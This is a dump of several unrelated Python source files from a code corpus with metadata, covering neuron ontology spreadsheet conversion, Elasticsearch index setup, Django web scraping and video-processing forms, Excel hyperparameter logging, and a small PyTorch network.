bool(id))}')\n\n elif label_neuron:\n id = make_cut_id(label_neuron)\n\n if id not in expect_pes:\n log.error(f'{id!r} not in cuts!?')\n continue\n\n if expect_pes[id] != len(phenotypes):\n log.error(f'{id!r} failed roundtrip {len(phenotypes)} != {expect_pes[id]}')\n continue\n\n neuron = NeuronCUT(*phenotypes, id_=id, label=label_neuron,\n override=bool(id) or bool(label_neuron))\n neuron.adopt_meta(current_neuron)\n # FIXME occasionally this will error?!\n else:\n continue # FIXME this polutes everything ???\n fn = fixname(label_neuron)\n if not phenotypes and i: # i skips header\n errors.append((i, neuron_row)) # TODO special review for phenos but not current\n phenotypes = Phenotype('TEMP:phenotype/' + fn),\n\n neuron = NeuronCUT(*phenotypes,\n id_=make_cut_id(label_neuron),\n label=label_neuron, override=True)\n\n # update the meta if there were any changes\n if definition_neuron is not None:\n neuron.definition = definition_neuron\n\n if synonyms_neuron is not None:\n neuron.synonyms = synonyms_neuron\n\n try:\n neuron.batchAnnotateByObject(object_notes)\n neuron.batchAnnotate(other_notes)\n except AttributeError as e:\n #embed()\n log.exception(e) #'something very strage has happened\\n', e)\n pass # FIXME FIXME FIXME\n\n #neuron.batchAnnotateByPredicate(predicate_notes) # TODO\n # FIXME doesn't quite work in this context, but there are other\n # cases where annotations to the general modality are still desireable\n # FIXME there may be no predicate? if the object fails to match?\n\n if do_release:\n release.append(neuron)\n\n return config, errors, new, release\n\n\nclass Cuts(Sheet):\n name = 'neurons-cut'\n\n\nclass CutsV1(Cuts):\n sheet_name = 'CUT V1.0'\n fetch_grid = True\n\n\ndef main():\n #from neurondm.models.cuts import main as cuts_main\n #cuts_config, *_ = cuts_main()\n from IPython import embed\n from neurondm.compiled.common_usage_types import config as cuts_config\n cuts_neurons = cuts_config.neurons()\n expect_pes = {n.id_:len(n.pes) for n in cuts_neurons}\n\n sheet = CutsV1()\n config, errors, new, release = sheet_to_neurons(sheet.values, sheet.notes_index, expect_pes)\n #sheet.show_notes()\n config.write_python()\n config.write()\n #config = Config(config.name)\n #config.load_existing() # FIXME this is a hack to get get a load_graph\n from neurondm import Config, NeuronCUT\n release_config = Config('cut-release')\n [NeuronCUT(*n, id_=n.id_, label=n.origLabel, override=True).adopt_meta(n) for n in release]\n release_config.write_python()\n release_config.write()\n from neurondm.models.cuts import export_for_review\n review_rows = export_for_review(config, [], [], [], filename='cut-rt-test.csv', with_curies=True)\n from pyontutils.utils import byCol\n valuesC = byCol(sheet.values[1:],\n header=[v.replace(' ', '_') for v in sheet.values[0]],\n to_index=['label'])\n reviewC = byCol(review_rows[1:], header=[v.replace(' ', '_') for v in review_rows[0]], to_index=['label'])\n def grow(r):\n log.debug(r)\n # TODO implement on the object to allow joining on an index?\n # man this would be easier with sql >_< probably pandas too\n # but so many dependencies ... also diffing issues etc\n return valuesC.searchIndex('label', r.label)\n\n def key(field_value):\n field, value = field_value\n try:\n return valuesC.header._fields.index(field) # TODO warn on field mismatch\n except ValueError as e:\n print('ERROR!!!!!!!!!!!', field, value)\n return None\n\n def replace(r, *cols):\n \"\"\" replace and reorder \"\"\"\n # FIXME _super_ inefficient\n vrow = grow(r)\n for field, value in sorted(zip(r._fields, r), key=key):\n if field in cols:\n value = getattr(vrow, field)\n\n yield '' if value is None else value # completely overwrite the sheet\n\n rows = [list(replace(r, 'Status', 'definition', 'synonyms', 'PMID')) for r in reviewC]\n #resp = update_sheet_values('neurons-cut', 'Roundtrip', rows)\n embed()\n\nif __name__ == '__main__':\n main()\n", "sub_path": "neurondm/neurondm/sheets.py", "file_name": "sheets.py", "file_ext": "py", "file_size_in_byte": 16233, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pyontutils.namespaces.ilxtr.literatureCitation", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pyontutils.namespaces.ilxtr", "line_number": 46, "usage_type": "name"}, {"api_name": "hyputils.hypothesis.idFromShareLink", "line_number": 48, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 51, "usage_type": "call"}, {"api_name": "hyputils.hypothesis.shareLinkFromId", "line_number": 51, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 53, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 55, "usage_type": "call"}, {"api_name": "rdflib.Literal", "line_number": 57, "usage_type": "call"}, {"api_name": "pyontutils.scigraph.Vocabulary", "line_number": 62, "usage_type": "call"}, {"api_name": "neurondm.Config", "line_number": 63, "usage_type": "call"}, {"api_name": "ontquery.OntQuery", "line_number": 65, "usage_type": "call"}, {"api_name": "ontquery.plugin.get", "line_number": 65, "usage_type": "call"}, {"api_name": "ontquery.plugin", "line_number": 65, "usage_type": "attribute"}, {"api_name": "neurondm.core.OntTerm", "line_number": 65, "usage_type": "name"}, {"api_name": "pyontutils.namespaces.ilxtr", "line_number": 71, "usage_type": "name"}, {"api_name": "pyontutils.closed_namespaces.rdfs.label", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pyontutils.closed_namespaces.rdfs", "line_number": 77, "usage_type": "name"}, {"api_name": "pyontutils.closed_namespaces.rdf.type", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pyontutils.closed_namespaces.rdf", "line_number": 79, "usage_type": "name"}, {"api_name": "pyontutils.namespaces.definition", "line_number": 81, "usage_type": "name"}, {"api_name": "pyontutils.namespaces.TEMP", "line_number": 84, "usage_type": "name"}, {"api_name": "neurondm.core.log.debug", "line_number": 91, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 91, "usage_type": "name"}, {"api_name": "neurondm.core.OntTerm", "line_number": 94, "usage_type": "call"}, {"api_name": "neurondm.core.OntTerm", "line_number": 98, "usage_type": "call"}, {"api_name": "neurondm.core.log.debug", "line_number": 106, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 106, "usage_type": "name"}, {"api_name": "rdflib.URIRef", "line_number": 121, "usage_type": "call"}, {"api_name": "neurondm.LogicalPhenotype.local_names.items", "line_number": 126, "usage_type": "call"}, {"api_name": "neurondm.LogicalPhenotype.local_names", "line_number": 126, "usage_type": "attribute"}, {"api_name": "neurondm.LogicalPhenotype", "line_number": 126, "usage_type": "name"}, {"api_name": "neurondm.Config", "line_number": 154, "usage_type": "call"}, {"api_name": "pyontutils.sheets.get_note", "line_number": 173, "usage_type": "call"}, {"api_name": "rdflib.Literal", "line_number": 177, "usage_type": "call"}, {"api_name": "pyontutils.closed_namespaces.rdf.nil", "line_number": 179, "usage_type": "attribute"}, {"api_name": "pyontutils.closed_namespaces.rdf", "line_number": 179, "usage_type": "name"}, {"api_name": "neurondm.core.OntId", "line_number": 183, "usage_type": "call"}, {"api_name": "rdflib.Literal", "line_number": 222, "usage_type": "call"}, {"api_name": "rdflib.Literal", "line_number": 228, "usage_type": "call"}, {"api_name": "neurondm.core.log.debug", "line_number": 240, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 240, "usage_type": "name"}, {"api_name": "neurondm.Phenotype", "line_number": 286, "usage_type": "call"}, {"api_name": "neurondm.LogicalPhenotype", "line_number": 287, "usage_type": "call"}, {"api_name": "neurondm.Phenotype", "line_number": 289, "usage_type": "call"}, {"api_name": "neurondm.core.log.debug", "line_number": 302, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 302, "usage_type": "name"}, {"api_name": "neurondm.core.log.debug", "line_number": 304, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 304, "usage_type": "name"}, {"api_name": "neurondm.models.cuts.make_cut_id", "line_number": 307, "usage_type": "call"}, {"api_name": "neurondm.core.log.error", "line_number": 310, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 310, "usage_type": "name"}, {"api_name": "neurondm.core.log.error", "line_number": 314, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 314, "usage_type": "name"}, {"api_name": "neurondm.NeuronCUT", "line_number": 317, "usage_type": "call"}, {"api_name": "neurondm.models.cuts.fixname", "line_number": 323, "usage_type": "call"}, {"api_name": "neurondm.Phenotype", "line_number": 326, "usage_type": "call"}, {"api_name": "neurondm.NeuronCUT", "line_number": 328, "usage_type": "call"}, {"api_name": "neurondm.models.cuts.make_cut_id", "line_number": 329, "usage_type": "call"}, {"api_name": "neurondm.core.log.exception", "line_number": 344, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 344, "usage_type": "name"}, {"api_name": "pyontutils.sheets.Sheet", "line_number": 358, "usage_type": "name"}, {"api_name": "neurondm.compiled.common_usage_types.config.neurons", "line_number": 372, "usage_type": "call"}, {"api_name": "neurondm.compiled.common_usage_types.config", "line_number": 372, "usage_type": "name"}, {"api_name": "neurondm.Config", "line_number": 383, "usage_type": "call"}, {"api_name": "neurondm.NeuronCUT", "line_number": 384, "usage_type": "call"}, {"api_name": "neurondm.models.cuts.export_for_review", "line_number": 388, "usage_type": "call"}, {"api_name": "pyontutils.utils.byCol", "line_number": 390, "usage_type": "call"}, {"api_name": "pyontutils.utils.byCol", "line_number": 393, "usage_type": "call"}, {"api_name": "neurondm.core.log.debug", "line_number": 395, "usage_type": "call"}, {"api_name": "neurondm.core.log", "line_number": 395, "usage_type": "name"}, {"api_name": "IPython.embed", "line_number": 421, "usage_type": "call"}]} +{"seq_id": "538531912", "text": "# -*- coding:UTF-8 -*-\nimport json\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import scan\n\nindex_info = {\n 'settings':{\n 'number_of_shards':5,\n 'number_of_replicas':0,\n },\n 'mappings':{\n 'group':{\n 'properties':{\n 'task_name':{\n 'type':'string',\n 'index': 'not_analyzed'\n },\n 'state':{\n 'type':'string',\n 'index': 'not_analyzed'\n },\n 'status':{\n 'type':'long'\n },\n 'submit_date':{\n 'type':'string',\n 'index': 'not_analyzed'\n }\n }\n }\n }\n }\n\nes = Elasticsearch('219.224.135.93')\n\nes.indices.create(index='group_result', body=index_info, ignore=400)\n\n", "sub_path": "user_portrait/group_result_mappings.py", "file_name": "group_result_mappings.py", "file_ext": "py", "file_size_in_byte": 922, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "elasticsearch.Elasticsearch", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "258601220", "text": "from django.shortcuts import render\nfrom .models import Analysis\n# Create your views here.\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nr = requests.get(\n 'https://www.n11.com/telefon-ve-aksesuarlari')\nsoup = BeautifulSoup(r.content, \"lxml\")\ntitle = soup.find_all(\"h3\", class_=\"productName\")\ntits = []\n\nfor tit in title:\n tits.append(tit.text)\n\n\ndef analysis(request):\n context = {'tits': tits}\n return render(request, 'analysis.html', context)\n\n\ndef basabas(request):\n context = {}\n return render(request, 'basabas.html', context)\n", "sub_path": "analysis/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 553, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 10, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 20, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "553204166", "text": "from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import redirect, render\nfrom django.template import loader\nfrom django.http import HttpResponse\nfrom django import template\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nimport os, math\n\ncur_path = dirname(__file__)\nenv_path = cur_path[:cur_path.rfind(os.path.sep)] \ndotenv_path = join(env_path, '.env')\nload_dotenv(dotenv_path)\nprint(\"### \" + dotenv_path + \" ##\")\n\ncontext = {}\n\ncontext['TOKEN_APR_MIN'] = float(os.environ.get('TOKEN_APR_MIN'))\ncontext['TOKEN_APR_MAX'] = float(os.environ.get('TOKEN_APR_MAX'))\ncontext['GAS_FEE_MIN'] = float(os.environ.get('GAS_FEE_MIN'))\ncontext['GAS_FEE_MAX'] = float(os.environ.get('GAS_FEE_MAX'))\ncontext['TIME_HORIZON_DAYS_MIN'] = int(os.environ.get('TIME_HORIZON_DAYS_MIN'))\ncontext['TIME_HORIZON_DAYS_MAX'] = int(os.environ.get('TIME_HORIZON_DAYS_MAX'))\ncontext['TOKEN_START_COUNT_MIN'] = float(os.environ.get('TOKEN_START_COUNT_MIN'))\ncontext['TOKEN_START_COUNT_MAX'] = float(os.environ.get('TOKEN_START_COUNT_MAX'))\ncontext['TOKEN_START_PRICE_MIN'] = float(os.environ.get('TOKEN_START_PRICE_MIN'))\ncontext['TOKEN_START_PRICE_MAX'] = float(os.environ.get('TOKEN_START_PRICE_MAX'))\ncontext['TOKEN_END_PRICE_MIN'] = float(os.environ.get('TOKEN_END_PRICE_MIN'))\ncontext['TOKEN_END_PRICE_MAX'] = float(os.environ.get('TOKEN_END_PRICE_MAX'))\n\n\ndef index(request):\n global dotenv_path\n\n if \"ta\" in request.GET :\n context['TOKEN_APR_FROM'] = request.GET[\"ta\"]\n else:\n context['TOKEN_APR_FROM'] = (context['TOKEN_APR_MIN'] + context['TOKEN_APR_MAX']) / 2\n\n if \"gf\" in request.GET :\n context['GAS_FEE_FROM'] = request.GET[\"gf\"]\n else:\n context['GAS_FEE_FROM'] = (context['GAS_FEE_MIN'] + context['GAS_FEE_MAX']) / 2\n\n if \"th\" in request.GET :\n context['TIME_HORIZON_DAYS_FROM'] = request.GET[\"th\"]\n else:\n context['TIME_HORIZON_DAYS_FROM'] = (context['TIME_HORIZON_DAYS_MIN'] + context['TIME_HORIZON_DAYS_MAX']) // 2\n\n if \"tsc\" in request.GET :\n context['TOKEN_START_COUNT_FROM'] = request.GET[\"tsc\"]\n else:\n context['TOKEN_START_COUNT_FROM'] = (context['TOKEN_START_COUNT_MIN'] + context['TOKEN_START_COUNT_MAX']) / 2\n\n if \"tsp\" in request.GET :\n context['TOKEN_START_PRICE_FROM'] = request.GET[\"tsp\"]\n else:\n context['TOKEN_START_PRICE_FROM'] = (context['TOKEN_START_PRICE_MIN'] + context['TOKEN_START_PRICE_MAX']) / 2\n\n if \"tep\" in request.GET :\n context['TOKEN_END_PRICE_FROM'] = request.GET[\"tep\"]\n else:\n context['TOKEN_END_PRICE_FROM'] = (context['TOKEN_END_PRICE_MIN'] + context['TOKEN_END_PRICE_MAX']) / 2\n\n \n html_template = loader.get_template( 'index.html' )\n return HttpResponse(html_template.render(context, request))\n\ndef calc(request):\n print(request.GET['ta'])\n TOKEN_APR = float(request.GET['ta'])\n print(TOKEN_APR)\n GAS_FEE = float(request.GET['gf'])\n print(GAS_FEE)\n TIME_HORIZON_DAYS = int(request.GET['th'])\n print(TIME_HORIZON_DAYS)\n TOKEN_START_COUNT = float(request.GET['tsc'])\n TOKEN_START_PRICE = float(request.GET['tsp'])\n TOKEN_END_PRICE = float(request.GET['tep'])\n\n max_profit, max_deposit_frequency, max_token_count = (0, 0, 0)\n profits = []\n profits.append(0)\n for deposit_frequency in range(1, TIME_HORIZON_DAYS + 1):\n token_count = TOKEN_START_COUNT\n fee_balance = 0\n token_start_balance = token_count * TOKEN_START_PRICE\n \n token_count = token_count * ((1 + TOKEN_APR * deposit_frequency/100/TIME_HORIZON_DAYS)**(TIME_HORIZON_DAYS // deposit_frequency)) * (1 + TOKEN_APR * (TIME_HORIZON_DAYS % deposit_frequency)/100/TIME_HORIZON_DAYS)\n fee_balance = GAS_FEE * math.ceil(TIME_HORIZON_DAYS / deposit_frequency)\n token_end_balance = token_count * TOKEN_END_PRICE\n profit = token_end_balance - fee_balance - token_start_balance\n profits.append(str(profit))\n\n if deposit_frequency == 1:\n max_profit = profit\n max_deposit_frequency = deposit_frequency\n max_token_count = token_count\n elif profit > max_profit :\n max_profit = profit\n max_deposit_frequency = deposit_frequency\n max_token_count = token_count\n\n \n profits[0] = str(max_deposit_frequency) + \"_\" + str(max_token_count)\n return HttpResponse(\",\".join(profits))\n #\n", "sub_path": "calculator/calculator/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4416, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 13, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 19, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 20, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 21, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 22, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 23, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 24, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 27, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 28, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 29, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.template.loader.get_template", "line_number": 66, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 66, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 67, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 90, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 106, "usage_type": "call"}]} +{"seq_id": "55966972", "text": "\"\"\"\n# Read an Excel file and get hyperparameters\n\nFrom https://openpyxl.readthedocs.io/en/stable/pandas.html\n\nAssumptions:\n - You are running it from scratch. It will read all of the hyperparameters\n - Manually set wb.Hyperparameters.Done = True when done (ideally automatic)\n\n\"\"\"\nfrom openpyxl import load_workbook\nfrom itertools import islice\nimport pandas as pd\n\n\ndef read_hyperparameters(xlsx_path, worksheet: str = 'Hyperparameters'):\n \"\"\"\n Read the Hyperparameters from a spreadsheet\n - Taken from https://openpyxl.readthedocs.io/en/stable/pandas.html\n\n :param xlsx_path: str - path to xlsx worksheet\n :param worksheet: str - name of Hyperparameter worksheet\n :return: pd.DataFrame - Pandas dataframe of info\n \"\"\"\n\n wb = load_workbook(filename=xlsx_path)\n ws = wb[worksheet]\n wb.close()\n\n # From Documentation\n data = ws.values\n # First row is column names\n cols = next(data)[1:]\n # Extract Data Fields\n data = list(data)\n # Index is first column of data\n idx = [r[0] for r in data]\n data = (islice(r, 1, None) for r in data)\n df = pd.DataFrame(data, index=idx, columns=cols)\n\n return df\n\n\ndef write_results(results, xlsx_path, worksheet: str = 'Results'):\n \"\"\"\n Write results\n :param results: dict - {'Trial': 1, 'Train Acc': 0.883, 'Train Loss': 0.546, 'Valid Acc':, 'Valid Loss':,\n 'Test Acc':, 'Test Loss':}\n :param xlsx_path:\n :param worksheet:\n :return:\n \"\"\"\n # Open and Read\n wb = load_workbook(filename=xlsx_path)\n ws = wb[worksheet]\n\n # Append Row\n trial = results.get('Trial', None)\n tr_acc = results.get('Train Acc', None)\n tr_loss = results.get('Train Loss', None)\n v_acc = results.get('Valid Acc', None)\n v_loss = results.get('Valid Loss', None)\n t_acc = results.get('Test Acc', None)\n t_loss = results.get('Test Loss', None)\n\n ws.append((trial, tr_acc, tr_loss, v_acc, v_loss, t_acc, t_loss))\n\n # Save and Close\n wb.save(filename=xlsx_path)\n wb.close()\n\n\nif __name__ == '__main__':\n xlsx_path = '../$ scrap_data/test.xlsx'\n df = read_hyperparameters(xlsx_path)\n\n results = {'Trial': 1, 'Train Acc': 0.883, 'Train Loss': 0.546, 'Valid Acc': 0.797, 'Valid Loss': 0.721,\n 'Test Acc': 0.657, 'Test Loss': 1.043}\n write_results(results, xlsx_path)\n\n\n\n", "sub_path": "library/training/hyperparameter.py", "file_name": "hyperparameter.py", "file_ext": "py", "file_size_in_byte": 2319, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "openpyxl.load_workbook", "line_number": 26, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 39, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "615942124", "text": "from django import forms\nimport numpy as np\nimport re\n\nVALUES = [\n ('48000', '48000'),\n ('41000', '41000'),\n ]\n\nPLAYBACK = np.arange(0.5, 3, 0.5)\nPLAYBACK = zip(PLAYBACK.tolist(), PLAYBACK.tolist())\n\n\nclass InputParm(forms.Form):\n frame_rate = forms.IntegerField(widget=forms.Select(choices=VALUES), initial=48000)\n frame_quality = forms.IntegerField(initial=3)\n frame_margin = forms.IntegerField(initial=5)\n playback_speed = forms.FloatField(widget=forms.Select(choices=PLAYBACK), initial=1)\n silent_speed = forms.IntegerField(initial=100)\n silence_threshold = forms.FloatField(initial=0.03)\n\n def __init__(self, *args, **kwargs):\n super(InputParm, self).__init__(*args, **kwargs) # Call to ModelForm constructor\n self.fields['frame_quality'].widget.attrs['min'] = 1\n self.fields['frame_margin'].widget.attrs['min'] = 0\n self.fields['silent_speed'].widget.attrs['min'] = 1\n self.fields['silence_threshold'].widget.attrs['min'] = 0\n\n def clean_frame_quality(self):\n frame_quality = self.cleaned_data['frame_quality']\n if 1 <= frame_quality <= 31:\n return frame_quality\n else:\n raise forms.ValidationError('Frame Quality Value must be in this range (1 to 31)')\n\n def clean_frame_margin(self):\n frame_margin = self.cleaned_data['frame_margin']\n if 0 <= frame_margin <= 120:\n return frame_margin\n else:\n raise forms.ValidationError('Frame Margin Value must be in this range (0 to 120)')\n\n def clean_playback_speed(self):\n playback_speed = self.cleaned_data['playback_speed']\n if 0.5 <= playback_speed <= 2.25:\n return playback_speed\n else:\n raise forms.ValidationError('Playback Speed Value must be in this range (0.5 to 2.25)')\n\n def clean_silent_speed(self):\n silent_speed = self.cleaned_data['silent_speed']\n if 1 <= silent_speed <= 100:\n return silent_speed\n else:\n raise forms.ValidationError('Silent Speed Value must be in this range (1 to 100)')\n\n def clean_silence_threshold(self):\n silence_threshold = self.cleaned_data['silence_threshold']\n if 0 <= silence_threshold <= 1:\n return silence_threshold\n else:\n raise forms.ValidationError('Silence Threshold Value must be in this range (0 to 1)')\n\n\nQUALITY = [\n ('Default', 'Default'),\n ('1080p', '1080p'),\n ('720p', '720p'),\n ('480p', '480p'),\n ('360p', '360p'),\n ('240p', '240p'),\n ('144p', '144p')\n]\n\n\nclass UrlForm(forms.Form):\n paste_URL = forms.URLField(widget=forms.TextInput(attrs={'rows': 1, 'cols': 100}), required=True)\n quality = forms.CharField(widget=forms.Select(choices=QUALITY), initial=\"Default\")\n\n def clean_paste_URL(self):\n pattern = re.compile(r'.+youtube\\.com/watch\\?.+')\n paste_url = self.cleaned_data['paste_URL']\n if pattern.match(paste_url):\n print(paste_url)\n return paste_url\n else:\n raise forms.ValidationError('Please enter a youtube video')\n\n\ndef validate_file_extension(value):\n import os\n from django.core.exceptions import ValidationError\n ext = os.path.splitext(value.name)[1]\n valid_extensions = ['.mp4', '.mov', '.mpeg', '.wmv']\n if not ext.lower() in valid_extensions:\n raise ValidationError('Unsupported file extension.')\n\n\nclass UploadVideoForm(forms.Form):\n title = forms.CharField(max_length=70, required=True, initial=\"VideoShortCuts\")\n file = forms.FileField(required=True, validators=[validate_file_extension])\n\n\nclass SubmitForm(forms.Form):\n origin_video_size = forms.CharField(required=False)\n origin_video_length = forms.CharField(required=False)\n new_video_size = forms.CharField(required=False)\n new_video_length = forms.CharField(required=False)\n", "sub_path": "process/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 3879, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.arange", "line_number": 10, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 14, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 15, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 15, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 16, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 17, "usage_type": "name"}, {"api_name": "django.forms.FloatField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 18, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 18, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 19, "usage_type": "name"}, {"api_name": "django.forms.FloatField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 20, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 34, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 34, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 41, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 41, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 48, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 48, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 55, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 55, "usage_type": "name"}, {"api_name": "django.forms.ValidationError", "line_number": 62, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 62, "usage_type": "name"}, {"api_name": "django.forms.Form", "line_number": 76, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 76, "usage_type": "name"}, {"api_name": "django.forms.URLField", "line_number": 77, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 77, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 77, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 78, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 78, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 78, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 81, "usage_type": "call"}, {"api_name": "django.forms.ValidationError", "line_number": 87, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 87, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 96, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 99, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 99, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 100, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 100, "usage_type": "name"}, {"api_name": "django.forms.FileField", "line_number": 101, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 101, "usage_type": "name"}, {"api_name": "django.forms.Form", "line_number": 104, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 104, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 105, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 105, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 106, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 106, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 107, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 107, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 108, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 108, "usage_type": "name"}]} +{"seq_id": "307691743", "text": "import torch\nimport torch.nn as nn\n\nclass ClassicNN(nn.Module):\n \"\"\"1136 100 46\"\"\"\n def __init__(self, d_dim=20499, dim1=1136, dim2=100):\n super(ClassicNN, self).__init__()\n self.dim1 = dim1\n self.dim2 = dim2\n self.d_dim = d_dim\n self.h1 = nn.Sequential(\n nn.Linear(self.d_dim, self.dim1),\n nn.Tanh(),\n )\n self.h2 = nn.Sequential(\n nn.Linear(self.dim1, self.dim2),\n nn.Tanh(),\n )\n self.o = nn.Sequential(\n nn.Linear(self.dim2, 46),\n )\n print(self)\n\n def forward(self, x, target_layer=0):\n h1_output = self.h1(x)\n h2_output = self.h2(h1_output)\n output = self.o(h2_output)\n if target_layer == 1:\n return h1_output\n elif target_layer == 2:\n return h2_output\n else:\n return output", "sub_path": "other_codes/classicNN/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 889, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.nn.Module", "line_number": 4, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 4, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 11, "usage_type": 